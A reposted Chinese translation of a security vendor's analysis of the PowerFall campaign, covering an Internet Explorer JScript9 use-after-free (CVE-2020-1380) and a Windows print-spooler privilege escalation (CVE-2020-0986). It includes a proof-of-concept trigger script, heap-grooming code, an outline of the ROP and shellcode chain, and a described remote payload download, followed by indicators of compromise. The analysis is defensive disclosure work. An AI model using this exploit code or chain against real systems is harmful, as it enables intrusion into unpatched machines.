热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

PowerFall恶意活动:IE和Windows的两个0day漏洞分析

 0x00 概述2020年5月,卡巴斯基成功防御了Internet Explorer恶意脚本对某家韩国企业的攻击。经过进一步分析发现,该工具使用了以前未知的完整利用链,其中包括两个0-day漏洞:In

 

0x00 概述

2020年5月,卡巴斯基成功防御了Internet Explorer恶意脚本对某家韩国企业的攻击。经过进一步分析发现,该工具使用了以前未知的完整利用链,其中包括两个0-day漏洞:Internet Explorer远程代码执行漏洞、Windows特权提升漏洞。与我们以前在WizardOpium恶意活动中发现的攻击链不同,新的攻击链可以针对Windows 10的最新版本发动攻击。经过测试表明,该漏洞可以可靠地在Internet Explorer 11和Windows 10 x64的18363版本上利用。
2020年6月8日,我们向Microsoft报告了我们的发现,并且Microsoft已确认漏洞。在我们撰写报告时,Microsoft的安全团队已经针对CVE-2020-0986漏洞发布了补丁,修复这一特权提升0-day漏洞。但是,在我们发现该漏洞之前,这一漏洞的可利用性被评估为“不太可能”。CVE-2020-0986的修复程序在2020年6月9日发布。
Microsoft为JScript的Use-After-Free漏洞分配了CVE-2020-1380编号,该漏洞的补丁于2020年8月11日发布。

我们将这一系列攻击称为PowerFall恶意活动。目前,我们暂时不能将恶意活动与任何已知的威胁行为者建立明确联系,但根据它与以前发现漏洞的相似性,我们认为DarkHotel可能是此次攻击的幕后黑手。卡巴斯基产品目前将PowerFall攻击检测为“PDM:Exploit.Win32.Generic”。

 

0x01 Internet Explorer 11远程代码执行漏洞

在野外发现的Internet Explorer最新0-day攻击利用了旧版本Javascript引擎jscript.dll中的漏洞CVE-2020-0674、CVE-2019-1429、CVE-2019-0676和CVE-2018-8653。其中,CVE-2020-1380是jscript9.dll中的一个漏洞,该漏洞自Internet Explorer 9开始存在,因此Microsoft建议的缓解步骤(限制jscript.dll的使用)无法针对这个特定漏洞实现防护。
CVE-2020-1380是一个释放后使用(Use-After-Free)漏洞,由于JIT优化过程中,JIT编译的代码中缺少必要的检查导致。下面展示了触发漏洞的PoC:

function func(O, A, F, O2) {
arguments.push = Array.prototype.push;
O = 1;
arguments.length = 0;
arguments.push(O2);
if (F == 1) {
O = 2;
}
// execute abp.valueOf() and write by dangling pointer
A[5] = O;
};
// prepare objects
var an = new ArrayBuffer(0x8c);
var fa = new Float32Array(an);
// compile func
func(1, fa, 1, {});
for (var i = 0; i <0x10000; i++) {
func(1, fa, 1, 1);
}
var abp = {};
abp.valueOf = function() {
// free
worker = new Worker('worker.js');
worker.postMessage(an, [an]);
worker.terminate();
worker = null;
// sleep
var start = Date.now();
while (Date.now() - start <200) {}
// TODO: reclaim freed memory
return 0
};
try {
func(1, fa, 0, abp);
} catch (e) {
reload()
}

要理解这一漏洞,我们首先看一下func()的执行方式。这里,重要的是了解将什么值设置为A[5]。根据代码,与之相关的应该是一个参数O。在函数开始时,会将参数O重新分配为1,但随后将函数参数长度设置为0。这个操作不会清除函数参数(通常,常规数组会这样做),但允许将参数O2放在索引为0的参数列表1中,这意味着O = O2。除此之外,如果参数F等于1,则会再次重新分配O,但这次会分配整数2。这意味着,根据参数F的值,O参数会等于O2参数的值或是整数2。参数A是32位浮点型数组,在将值分配给数组的索引5之前,会将值首先转换为浮点数。将整数转换为浮点数的过程比较简单,但是如果要将对象转换为浮点数,这个过程就不再那么简单了。该漏洞利用使用了重载方法valueOf()中的abp对象。当对象转换为浮点型时执行此方法,但是在其内部,包含释放ArrayBuffer的代码,该代码由Float32Array查看,并在其中设置返回值。为了防止将值存储在已释放对象的内存中,Javascript引擎需要首先检查对象的状态,然后再将值存储在对象中。为了安全地转换和存储浮点值,JScript9.dll使用函数Js::TypedArray::BaseTypedDirectSetItem()。下面是这个函数的反编译代码:

int Js::TypedArray::BaseTypedDirectSetItem(Js::TypedArray *this, unsigned int index, void *object, int reserved)
{
Js::JavascriptConversion::ToNumber(object, this->type->library->context);
if ( LOBYTE(this->view[0]->unusable) )
Js::JavascriptError::ThrowTypeError(this->type->library->context, 0x800A15E4, 0);
if ( index count )
{
*(float *)&this->buffer[4 * index] = Js::JavascriptConversion::ToNumber(
object,
this->type->library->context);
}
return 1;
}
double Js::JavascriptConversion::ToNumber(void *object, struct Js::ScriptContext *context)
{
if ( (unsigned char)object & 1 )
return (double)((int)object >> 1);
if ( *(void **)object == VirtualTableInfo::Address[0] )
return *((double *)object + 1);
return Js::JavascriptConversion::ToNumber_Full(object, context);
}

该函数检查浮点型数组的view[0]->unusablecount字段。在执行valueOf()方法的过程中,当ArrayBuffer被释放时,这两项检查都将失败,因为此时view[0]->unusable为1,并且在第一次调用Js::JavascriptConversion::ToNumber()count为0。问题在于,Js::TypedArray::BaseTypedDirectSetItem()函数仅在解释模式下使用。
当函数func()被即时编译时,Javascript引擎将会使用以下存在漏洞的代码:

if ( !((unsigned char)floatArray & 1) && *(void *)floatArray == &Js::TypedArray::vftable )
{
if ( floatArray->count > index )
{
buffer = floatArray->buffer + 4*index;
if ( object & 1 )
{
*(float *)buffer = (double)(object >> 1);
}
else
{
if ( *(void *)object != &Js::JavascriptNumber::vftable )
{
Js::JavascriptConversion::ToFloat_Helper(object, (float *)buffer, context);
}
else
{
*(float *)buffer = *(double *)(object->value);
}
}
}
}

这是Js::JavascriptConversion::ToFloat_Helper()函数的代码:

void Js::JavascriptConversion::ToFloat_Helper(void *object, float *buffer, struct Js::ScriptContext *context)
{
*buffer = Js::JavascriptConversion::ToNumber_Full(object, context);
}

如我们所见,与解释模式不同,在即时编译的代码中,不会检查ArrayBuffer的生命周期,并且可以释放它的内存,然后在调用valueOf()函数时将其回收。此外,攻击者可以控制将返回值写入到哪个索引中。但是,在arguments.length = 0;arguments.push(O2);的情况下,PoC会将其替换为arguments[0] = O2;,所以Js::JavascriptConversion::ToFloat_Helper()就不会触发这个Bug,因为隐式调用将被禁用,并且不会执行对valueOf()函数的调用。
为了确保及时编译函数func(),漏洞利用程序会执行该函数0x10000次,对整数进行无害的转换,并且只有在再次执行func()之后,才会触发Bug。为了释放ArrayBuffer,漏洞利用使用了一种滥用Web Workers API的通用技术。postMessage()函数可以用于将对象序列化为消息,并将其发送给worker。但是,这里的一个副作用是,已传输的对象会被释放,并且在当前脚本上下文中变为不可用。在释放ArrayBuffer后,漏洞利用程序通过模拟Sleep()函数使用的代码触发垃圾回收机制。这是一个while循环,用于检查Date.now()与先前存储的值之间的时间间隔。完成后,漏洞利用会使用整数数组回收内存。

for (var i = 0; i T[i] = new Array((0x1000 - 0x20) / 4);
T[i][0] = 0x666; // item needs to be set to allocate LargeHeapBucket
}

在创建大量数组后,Internet Explorer会分配新的LargeHeapBlock对象,这些对象会被IE的自定义堆实现使用。LargeHeapBlock对象将存储缓冲区地址,讲这些地址分配给数组。如果成功实现了预期的内存布局,则该漏洞将使用0覆盖LargeHeapBlock偏移量0x14处的值,该值恰好是分配的块数。
jscript9.dll x86的LargeHeapBlock结构:

此后,漏洞利用会分配大量的数组,并将它们设置为在漏洞利用初始阶段准备好的另一个数组。然后,将该数组设置为null,漏洞利用程序调用CollectGarbage()函数。这将导致堆碎片整理,修改后的LargeHeapBlock及其相关的数组缓冲区将被释放。在这个阶段,漏洞利用会创建大量的整数数组,以回收此前释放的数组缓冲区。新创建的数组的魔术值设置为索引0,该值通过指向先前释放的数组的悬空指针以进行检查,从而确认漏洞利用是否成功。

for (var i = 0; i K[i] = new Array((0x1000 - 0x20) / 4);
K[i][0] = 0x888; // store magic
}
for (var i = 0; i if (T[i][0] == 0x888) { // find array accessible through dangling pointer
R = T[i];
break;
}
}

最后,漏洞利用创建了两个不同的JavascriptNativeIntArray对象,它们的缓冲区指向相同的位置。这样,就可以检索对象的地址,甚至可以创建新的格式错误的对象。该漏洞利用使用这些原语来创建格式错误的DataView对象,并获得对该进程整个地址空间的读/写访问权限。
在构建了任意的读/写原语之后,就可以绕过控制流防护(CFG)并执行代码了。该漏洞利用使用数组的vftable指针获取jscript9.dll的模块基址。从这里,它解析jscript9.dll的PT头,以获得导入目录表的地址,并解析其他模块的基址。这里的目标是找到函数VirtualProtect()的基址,该地址将用于执行Shellcode的过程。之后,漏洞利用程序在jscript9.dll中搜索两个签名。这些签名对应Unicode字符串splitJsUtil::DoublyLinkedListElement::LinkToBeginning()函数地址。Unicode字符串split的地址用于获取对该字符串的代码引用,并借助它来帮助解析函数Js::JavascriptString::EntrySplit()的地址,该函数实现了字符串方法split()。函数LinkToBeginning()的地址用于获取全局链表中第一个ThreadContext对象的地址。这个漏洞利用程序会在链表中找到最后一个条目,并利用它为负责执行脚本的线程获取堆栈位置。然后,就到了最后一个阶段。漏洞利用程序执行split()方法,并提供一个具有重载valueOf()方法的对象作为限制参数。在执行Js::JavascriptString::EntrySplit()函数的过程中,执行重载的valueOf()方法时,漏洞利用程序将搜索线程的堆栈以查找返回地址,将Shellcode放置在准备好的缓冲区中,获取其地址。最后,通过覆盖函数的返回地址,构建一个面向返回的编程(ROP)链以执行Shellcode。

 

0x02 下一阶段

Shellcode是附加到Shellcode上的可移植可执行(PE)模块的反射DLL加载器。这个模块非常小,全部功能都位于单个函数内。它在名为ok.exe的临时文件夹中创建一个文件,将远程执行代码中利用的另一个可执行文件的内容写入到其中。之后,执行ok.exe
ok.exe可执行文件包含针对GDI Print / Print Spooler API中的任意指针解引用特权提升漏洞(CVE-2020-0986)。该漏洞最初是一位匿名用户通过Trend Micro的Zero Day Initiative计划向Microsoft报告的。由于该漏洞在报告后的6个月内未发布补丁,因此ZDI将这一0-day漏洞进行披露,披露日期为2020年5月19日。第二天,这一漏洞就已经在先前提到的攻击中被利用。
利用这一漏洞,可以使用进程间通信来读取和写入splwow64.exe进程的任意内存,并绕过CFG和EncodePointer保护,从而实现splwow64.exe中的代码执行。该漏洞利用程序的资源中嵌入了两个可执行文件。第一个可执行文件以CreateDC.exe的形式写入磁盘,并用于创建设备上下文(DC),这是漏洞利用所必需的。第二个可执行文件的名称为PoPc.dll,如果利用成功,会由具有中等完整性级别的splwow64.dll执行。我们将在后续文章中提供有关CVE-2020-0986及其漏洞利用的更多信息。
splwow64.exe执行恶意PowerShell命令:

PoPc.dll的主要功能也位于单个函数之中。它执行一个编码后的PowerShell命令,该命令用于从www[.]static-cdn1[.]com/update.zip下载文件,将其保存为临时文件upgrader.exe并执行。由于卡巴斯基已经在下载可执行文件前阻止了攻击,因此我们未能拿到upgrader.exe,无法对其进行进一步分析。

 

0x03 威胁指标

www[.]static-cdn1[.]com/update.zip
B06F1F2D3C016D13307BC7CE47C90594
D02632CFFC18194107CC5BF76AECA7E87E9082FED64A535722AD4502A4D51199
5877EAECA1FE8A3A15D6C8C5D7FA240B
7577E42177ED7FC811DE4BC854EC226EB037F797C3B114E163940A86FD8B078B
B72731B699922608FF3844CCC8FC36B4
7765F836D2D049127A25376165B1AC43CD109D8B9D8C5396B8DA91ADC61ECCB1
E01254D7AF1D044E555032E1F78FF38F
81D07CAE45CAF27CBB9A1717B08B3AB358B647397F08A6F9C7652D00DBF2AE24

原文链接:


推荐阅读
  • Html5-Canvas实现简易的抽奖转盘效果
    本文介绍了如何使用Html5和Canvas标签来实现简易的抽奖转盘效果,同时使用了jQueryRotate.js旋转插件。文章中给出了主要的html和css代码,并展示了实现的基本效果。 ... [详细]
  • 本文介绍了C#中生成随机数的三种方法,并分析了其中存在的问题。首先介绍了使用Random类生成随机数的默认方法,但在高并发情况下可能会出现重复的情况。接着通过循环生成了一系列随机数,进一步突显了这个问题。文章指出,随机数生成在任何编程语言中都是必备的功能,但Random类生成的随机数并不可靠。最后,提出了需要寻找其他可靠的随机数生成方法的建议。 ... [详细]
  • 在Android开发中,使用Picasso库可以实现对网络图片的等比例缩放。本文介绍了使用Picasso库进行图片缩放的方法,并提供了具体的代码实现。通过获取图片的宽高,计算目标宽度和高度,并创建新图实现等比例缩放。 ... [详细]
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • android listview OnItemClickListener失效原因
    最近在做listview时发现OnItemClickListener失效的问题,经过查找发现是因为button的原因。不仅listitem中存在button会影响OnItemClickListener事件的失效,还会导致单击后listview每个item的背景改变,使得item中的所有有关焦点的事件都失效。本文给出了一个范例来说明这种情况,并提供了解决方法。 ... [详细]
  • 如何使用Java获取服务器硬件信息和磁盘负载率
    本文介绍了使用Java编程语言获取服务器硬件信息和磁盘负载率的方法。首先在远程服务器上搭建一个支持服务端语言的HTTP服务,并获取服务器的磁盘信息,并将结果输出。然后在本地使用JS编写一个AJAX脚本,远程请求服务端的程序,得到结果并展示给用户。其中还介绍了如何提取硬盘序列号的方法。 ... [详细]
  • Voicewo在线语音识别转换jQuery插件的特点和示例
    本文介绍了一款名为Voicewo的在线语音识别转换jQuery插件,该插件具有快速、架构、风格、扩展和兼容等特点,适合在互联网应用中使用。同时还提供了一个快速示例供开发人员参考。 ... [详细]
  • 拥抱Android Design Support Library新变化(导航视图、悬浮ActionBar)
    转载请注明明桑AndroidAndroid5.0Loollipop作为Android最重要的版本之一,为我们带来了全新的界面风格和设计语言。看起来很受欢迎࿰ ... [详细]
  • Linux重启网络命令实例及关机和重启示例教程
    本文介绍了Linux系统中重启网络命令的实例,以及使用不同方式关机和重启系统的示例教程。包括使用图形界面和控制台访问系统的方法,以及使用shutdown命令进行系统关机和重启的句法和用法。 ... [详细]
  • 本文讨论了在Windows 8上安装gvim中插件时出现的错误加载问题。作者将EasyMotion插件放在了正确的位置,但加载时却出现了错误。作者提供了下载链接和之前放置插件的位置,并列出了出现的错误信息。 ... [详细]
  • 本文讨论了一个关于cuowu类的问题,作者在使用cuowu类时遇到了错误提示和使用AdjustmentListener的问题。文章提供了16个解决方案,并给出了两个可能导致错误的原因。 ... [详细]
  • C# 7.0 新特性:基于Tuple的“多”返回值方法
    本文介绍了C# 7.0中基于Tuple的“多”返回值方法的使用。通过对C# 6.0及更早版本的做法进行回顾,提出了问题:如何使一个方法可返回多个返回值。然后详细介绍了C# 7.0中使用Tuple的写法,并给出了示例代码。最后,总结了该新特性的优点。 ... [详细]
  • 不同优化算法的比较分析及实验验证
    本文介绍了神经网络优化中常用的优化方法,包括学习率调整和梯度估计修正,并通过实验验证了不同优化算法的效果。实验结果表明,Adam算法在综合考虑学习率调整和梯度估计修正方面表现较好。该研究对于优化神经网络的训练过程具有指导意义。 ... [详细]
  • 从零学Java(10)之方法详解,喷打野你真的没我6!
    本文介绍了从零学Java系列中的第10篇文章,详解了Java中的方法。同时讨论了打野过程中喷打野的影响,以及金色打野刀对经济的增加和线上队友经济的影响。指出喷打野会导致线上经济的消减和影响队伍的团结。 ... [详细]
  • 利用Visual Basic开发SAP接口程序初探的方法与原理
    本文介绍了利用Visual Basic开发SAP接口程序的方法与原理,以及SAP R/3系统的特点和二次开发平台ABAP的使用。通过程序接口自动读取SAP R/3的数据表或视图,在外部进行处理和利用水晶报表等工具生成符合中国人习惯的报表样式。具体介绍了RFC调用的原理和模型,并强调本文主要不讨论SAP R/3函数的开发,而是针对使用SAP的公司的非ABAP开发人员提供了初步的接口程序开发指导。 ... [详细]
author-avatar
TzXh爱是生活
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有